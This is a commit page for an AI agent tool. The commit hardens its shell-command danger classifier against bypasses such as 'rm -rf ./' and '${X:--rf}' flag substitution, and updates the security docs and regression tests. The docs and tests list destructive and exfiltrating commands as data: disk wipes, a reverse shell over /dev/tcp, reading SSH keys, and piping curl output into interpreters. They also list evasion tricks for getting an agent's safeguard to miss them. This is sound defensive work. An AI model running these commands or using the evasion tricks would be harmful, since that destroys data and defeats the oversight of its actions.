Skip to content

Commit 4aa471b

Browse files
authored
fix: close rm wipe-target and flag bypasses (M-12) (#69)
The danger classifier treated rm -rf ./ as local_write (equivalent to rm -rf .) and missed -rf default-value flag substitutions. Changes: - internal/danger/classifier.go: isWipeTarget now normalises a leading ./ so ./ and ./.. match . and ..; rmRecursiveOrForce treats <flags> substitutions as fail-closed. - Added regression tests for rm -rf ./, rm -rf ./.., and rm -rf /. - Updated docs/SECURITY.md and AGENTS.md.
1 parent 9a3c561 commit 4aa471b

4 files changed

Lines changed: 30 additions & 3 deletions

File tree

AGENTS.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -113,7 +113,7 @@ Layered prompt-injection / approval-fatigue defenses. Full reference: [docs/SECU
113113
- **Sub-agent damage cap** (`cmd/odek/subagent.go::applySubagentTrust`) — `delegate_tasks` carries `trust_level` + `max_risk`. Untrusted ⇒ NonInteractive=deny, Destructive/CodeExec/Install/SystemWrite/NetworkEgress all forced to Deny. `max_risk` ⇒ everything above cap forced to Deny.
114114
- **FD-based API key handoff** (`cmd/odek/subagent_key.go`) — parent writes key to a 0600 tempfile, immediately `unlink()`s, passes the FD via `cmd.ExtraFiles`. Sub-agent reads from `$ODEK_API_KEY_FD` and closes. Key never in `/proc/<pid>/environ`.
115115
- **Approver friction** (`internal/danger/approver.go`, `cmd/odek/wsapprover.go`) — both TTYApprover and WSApprover engage friction mode after 3 approvals of the same class in 60s: require typing literal `approve`, 1.5s pause. Trust-class shortcut disabled for `destructive` + `blocked` regardless.
116-
- **Danger classifier bypass resistance** (`internal/danger/classifier.go`) — `normalize()` pre-processes: expand `$IFS` / `${IFS}`, extract `$(...)` / `` `...` `` substitutions, strip `command` / `exec` / `builtin` wrappers, collapse unquoted backslashes, basename absolute paths. `awk`/`gawk`, `sed` (`e` command / `-f`), and editors (`vi`/`vim`/`nvim`/`emacs`/`ed`/`ex`) are classified as `code_execution` when given a script or file operand, closing `awk 'BEGIN{system(...)}'`, `sed 's///e'`, and editor `!` shell escapes. Regression suite in `classifier_bypass_test.go`.
116+
- **Danger classifier bypass resistance** (`internal/danger/classifier.go`) — `normalize()` pre-processes: expand `$IFS` / `${IFS}`, extract `$(...)` / `` `...` `` substitutions, strip `command` / `exec` / `builtin` wrappers, collapse unquoted backslashes, basename absolute paths. `awk`/`gawk`, `sed` (`e` command / `-f`), and editors (`vi`/`vim`/`nvim`/`emacs`/`ed`/`ex`) are classified as `code_execution` when given a script or file operand, closing `awk 'BEGIN{system(...)}'`, `sed 's///e'`, and editor `!` shell escapes. `rm -rf ./` / `rm -rf ./..` are normalised to `.` / `..` for wipe-target matching, and `${VAR:--rf}` default-value flag substitutions are treated as fail-closed. Regression suite in `classifier_bypass_test.go`.
117117
- **WebSocket CSRF token** (`cmd/odek/serve.go`) — `odek serve` issues a random 256-bit token at startup and requires it on `/ws` via cookie, `X-Odek-Ws-Token` header, or `odek.<token>` subprotocol. The token is no longer embedded in every `GET /` response; it is only delivered when the request includes the correct `?token=` query parameter (Jupyter-style), and a non-loopback bind prints a loud warning. The localhost origin check remains as defense-in-depth.
118118
- **SSRF / DNS-rebinding dial guard** (`cmd/odek/ssrf_guard.go` + `internal/danger/classifier.go`) — `browser`, `http_batch`, and `web_search` resolve hostnames at dial time and refuse internal IPs (loopback, RFC1918, RFC4193, link-local, RFC 6598 CGNAT `100.64.0.0/10`, RFC 2544 benchmark `198.18.0.0/15`, and unspecified), then pin the dial to the validated IP. Operator-configured backends (e.g. `web_search.base_url`) are added to an allowlist so container-internal services such as SearXNG remain reachable.
119119
- **REST API CSRF protection** (`cmd/odek/serve.go::requireLocalOrigin`) — state-changing HTTP endpoints (POST/PUT/PATCH/DELETE) require a localhost origin or no Origin header, and static responses set `X-Frame-Options: DENY` + `Content-Security-Policy: frame-ancestors 'none'` to block clickjacking.

docs/SECURITY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,8 @@ The classifier is hardened against common evasion tricks (see the package doc in
8888
- `\rm -rf /`, `r""m -rf /` — backslash escapes collapsed and quote boundaries are not word boundaries.
8989
- `rm$IFS-rf$IFS/`, `{rm,-rf,/}`, `$'\x72\x6d'``$IFS`, brace expansion, and ANSI-C escapes are normalised.
9090
- `command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching.
91+
- `rm -rf ./`, `rm -rf ./..` — a leading `./` is normalised before wipe-target matching so these are caught the same as `.` and `..`.
92+
- `rm ${X:--rf} /` — default-value parameter expansions that expand to rm flags (`${VAR:-<flags>}`) are treated as fail-closed.
9193
- `bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb.
9294
- `awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed` `e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only.
9395
- `curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`.

internal/danger/classifier.go

Lines changed: 23 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1898,7 +1898,8 @@ func containsBlockDevice(tok string) bool {
18981898

18991899
// rmRecursiveOrForce reports whether rm's flags include a recursive or force
19001900
// option, in any spelling: -r, -R, -f, combined (-rf, -fr, -rfv, -Rf),
1901-
// or long (--recursive, --force, --no-preserve-root).
1901+
// long (--recursive, --force, --no-preserve-root), or a shell default
1902+
// substitution whose default value is a flag string such as ${X:--rf}.
19021903
func rmRecursiveOrForce(tokens []string) bool {
19031904
for _, tok := range tokens[1:] {
19041905
switch tok {
@@ -1915,17 +1916,37 @@ func rmRecursiveOrForce(tokens []string) bool {
19151916
}
19161917
}
19171918
}
1919+
// Fail closed on ${VAR:-<flags>} / ${VAR:--rf}: the shell expands
1920+
// the default when VAR is unset, so a token that looks like a
1921+
// substitution whose default contains rm flags executes as those flags.
1922+
if strings.HasPrefix(tok, "${") && strings.Contains(tok, ":-") {
1923+
if idx := strings.Index(tok, ":-"); idx >= 0 {
1924+
defaultVal := tok[idx+2:]
1925+
if strings.Contains(defaultVal, "-") && strings.ContainsAny(defaultVal, "rRf") {
1926+
return true
1927+
}
1928+
}
1929+
}
19181930
}
19191931
return false
19201932
}
19211933

19221934
// isWipeTarget reports whether an rm argument denotes a catastrophic target:
19231935
// any absolute path outside /tmp and /workspace, or a relative target that
1924-
// expands to the current/parent/home directory or a glob.
1936+
// expands to the current/parent/home directory or a glob. A leading `./` is
1937+
// normalized so `rm -rf ./` and `rm -rf ./..` are caught the same as `.` and
1938+
// `..`.
19251939
func isWipeTarget(tok string) bool {
19261940
if strings.HasPrefix(tok, "/") {
19271941
return !strings.HasPrefix(tok, "/tmp") && !strings.HasPrefix(tok, "/workspace")
19281942
}
1943+
// Normalize leading `./` so `./` → `.` and `./..` → `..` for matching.
1944+
if strings.HasPrefix(tok, "./") {
1945+
tok = tok[2:]
1946+
if tok == "" {
1947+
return true
1948+
}
1949+
}
19291950
switch tok {
19301951
case "*", ".", "..", "~", "$HOME", "$PWD", "${HOME}", "${PWD}":
19311952
return true

internal/danger/classifier_test.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -133,6 +133,10 @@ func TestClassify_Destructive_Commands(t *testing.T) {
133133
{"rm -rf /", Destructive},
134134
{"rm -rf --no-preserve-root /", Destructive},
135135
{"rm -rf /var", Destructive},
136+
{"rm -rf ./", Destructive},
137+
{"rm -rf ./..", Destructive},
138+
{"rm ${X:--rf} /", Destructive},
139+
{"rm ${X:--rf} ./", Destructive},
136140
{"dd if=/dev/zero of=/dev/sda", Destructive},
137141
{"dd if=/dev/urandom of=/dev/nvme0n1", Destructive},
138142
{"mkfs.ext4 /dev/sda1", Destructive},

0 commit comments

Comments
 (0)